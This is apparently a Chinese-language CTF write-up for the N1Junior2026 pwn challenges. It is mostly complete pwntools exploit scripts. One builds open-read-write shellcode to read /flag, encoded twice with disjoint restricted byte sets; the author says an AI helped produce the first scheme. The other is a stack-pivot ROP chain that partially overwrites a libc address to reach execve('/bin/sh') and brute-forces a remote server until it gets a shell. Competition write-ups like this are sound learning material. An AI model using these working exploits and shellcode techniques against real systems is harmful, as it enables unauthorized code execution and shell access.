N1junior2026
N1Junior2026
Old_5he1lc0de
拿了个一血嘻嘻嘻 orw的shellcode, 但是要求打出来两次, 而且两次用的字符集不能有交集, 并集元素数量小于等于15, 要求很严格。反复拷打ai给了第一种打法
# ---------------- PAYLOAD A ----------------
# Unique Bytes: {48, 89, D7, FF, C0, AA, E2} (Count: 7)
def generate_payload_A(target):
# Setup: mov rdi, rdx
payload = b'\x48\x89\xd7'
current_val = 0
for b in target:
diff = (b - current_val) % 256
# Modify: inc eax
payload += b'\xff\xc0' * diff
# Write: stosb (writes al to [rdi], inc rdi)
payload += b'\xaa'
current_val = b
# Jump: jmp rdx (Jump back to start, now containing payload)
payload += b'\xff\xe2'
return payload
只用了7个字节挺靠谱的。
# ---------------- PAYLOAD B ----------------
# Unique Bytes: {52, 5F, 04, 01, 88, 07, AE, C3} (Count: 8)
def generate_payload_B(target):
payload = b''
# inc dh
payload += b"\xfe\xc6" * 0x70
current_val = 0
for b in target:
diff = (b - current_val) % 256
# Modify: add al, 1
payload += b'\x04\x01' * diff
# Write: mov [rdx], al
payload += b'\x88\x02'
# inc dl
payload += b'\xfe\xc2'
current_val = b
payload = payload.ljust(0x7000, b'\x90')
return payload
但是第二种打法用了push和pop, 由于执行shellcode前程序把除了rip和rdx的寄存器都搞坏了所以不能开局直接pushpop, 所以稍微改了一下用inc dh把rdx移到shellcode结束的地方, 从这里开始写真正的shellcode, 执行1阶段shellcode完以后nopslide滑到真正的shellcode上就不用jmp或者push ret了。后来看到一篇文章说用3字节就能执行任意shellcode, 看来16字节还是太充裕了。。。https://www.anquanke.com/post/id/256530#h2-1
#!/usr/bin/env python3
# -*- coding: utf-8 -*
import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 0
ip = "60.205.163.215"
port = 13911
ELF_PATH="./chal"
if local:
# p = process(ELF_PATH)
p = process(['python3', './chal.py'])
else:
p = remote(ip,port)
def dbg():
script = '''
brva 0x11ED
'''
if local:
gdb.attach(p,script)
pause()
# Target Shellcode (Open-Read-Write)
orw_shellcode = asm(f'''
mov rsp, rdx
add rsp, 0x1000
mov rax, 0x67616c662f
push rax
mov rdi, rsp
xor rsi, rsi
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, 1
syscall
mov rax, 60
xor rdi, rdi
syscall
''')
# ---------------- PAYLOAD A ----------------
# Unique Bytes: {48, 89, D7, FF, C0, AA, E2} (Count: 7)
def generate_payload_A(target):
# Setup: mov rdi, rdx
payload = b'\x48\x89\xd7'
current_val = 0
for b in target:
diff = (b - current_val) % 256
# Modify: inc eax
payload += b'\xff\xc0' * diff
# Write: stosb (writes al to [rdi], inc rdi)
payload += b'\xaa'
current_val = b
# Jump: jmp rdx (Jump back to start, now containing payload)
payload += b'\xff\xe2'
return payload
shellcode1 = generate_payload_A(orw_shellcode)
byteset1 = set(shellcode1)
print(f"Set A bytes: {[hex(b) for b in byteset1]}")
print(f"Set A count: {len(byteset1)}")
# Send Payload A
# dbg()
# p.send(shellcode1)
# ---------------- PAYLOAD B ----------------
# Unique Bytes: {52, 5F, 04, 01, 88, 07, AE, C3} (Count: 8)
def generate_payload_B(target):
payload = b''
# inc dh
payload += b"\xfe\xc6" * 0x70
current_val = 0
for b in target:
diff = (b - current_val) % 256
# Modify: add al, 1
payload += b'\x04\x01' * diff
# Write: mov [rdx], al
payload += b'\x88\x02'
# inc dl
payload += b'\xfe\xc2'
current_val = b
payload = payload.ljust(0x7000, b'\x90')
return payload
shellcode2 = generate_payload_B(orw_shellcode)
byteset2 = set(shellcode2)
print(f"Set B bytes: {[hex(b) for b in byteset2]}")
print(f"Set B count: {len(byteset2)}")
total_union = byteset1.union(byteset2)
print(f"Total Unique Bytes: {len(total_union)}")
# Note: The challenge runs ./chal twice. If you are interacting with chal.py:
p.sendlineafter(b'hex(0/2):', shellcode1.hex())
# pause()
p.sendlineafter(b'hex(1/2):', shellcode2.hex())
# dbg()
# p.send(shellcode2)
p.interactive()
onlyfgets
可恶的栈题, 程序很简单只有一个fgets(buf, 500, stdin)。 由于没有puts之类的输出函数所以不能简单的打libc。 找到了大佬的这篇文章非常有帮助https://www.roderickchan.cn/2022-sekaictf-pwn-wp-gets-bfs/#1-1-get-limited-gadgets-for-binary, 意思就是执行fgets以后会在栈上残留一些libc的地址, 所以可以先栈迁移到bss然后调用fgets残留一些东西到栈上面。理论上接下来应该用add ptr [rbp - 0x3d], ebx ; nop ; ret这玩意精确控制偏移但是太菜不会搞。fgets如果输入少于500就会在末尾加\x0a\x00, 如果刚好500就只会加一个\x00, 这样直接partial overwrite一个libc地址成execve只会有16^3种可能性, 相比于16^5而言可能性大大提高了。多调用一次fgets是因为使用的leak地址不能在当前执行的fgets的栈上, 还要注意栈平衡就行了。实测爆个几百次就出了。
from pwn import *
context(arch='amd64', os='linux', log_level='info')
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./onlyfgets')
def pwn(p):
fgets_got = 0x404020
fgets_plt = elf.sym['fgets']
pop_rdi = 0x00000000004011fc
pop_rbp = 0x00000000004011d2
ret = 0x00000000004011fd
leave_ret = 0x00000000004011fa
add_rsp_8 = 0x0000000000401016
where = 0x404e00
payload = b'a'*0x20 + p64(where + 0x20) + p64(0x4011DD)
p.sendline(payload)
sleep(0.1)
where = 0x404500
payload = b'a'*0x20 + p64(where + 0x20) + p64(0x4011DD)
p.sendline(payload)
sleep(0.1)
where = 0x404dd0 - 0x28 - 0x10 - 400
payload = b'a'*0x20 + p64(where + 0x20) + p64(0x4011DD)
p.sendline(payload)
sleep(0.1)
binsh = 0x404c08
payload = b''
payload += b'/bin/sh\x00' + p64(ret)*59
payload += p64(pop_rdi) + p64(binsh) + b'\x02\x09\x05'
p.sendline(payload)
# p.interactive()
def brute(host='60.205.163.215', port=27015):
i = 0
while True:
try:
p = remote(host, port, timeout=2)
# p = process('./onlyfgets')
pwn(p)
p.sendline(b'echo HACK')
if b'HACK' in p.recvuntil(b'HACK', timeout=2):
log.success("Exploit succeeded!")
# p.sendline(b'cat /flag')
p.interactive()
return True
except KeyboardInterrupt:
log.info("Interrupted by user")
break
except Exception as e:
pass
finally:
if 'p' in locals():
p.close()
log.info(f"Attempt: {i}")
i = i + 1
brute()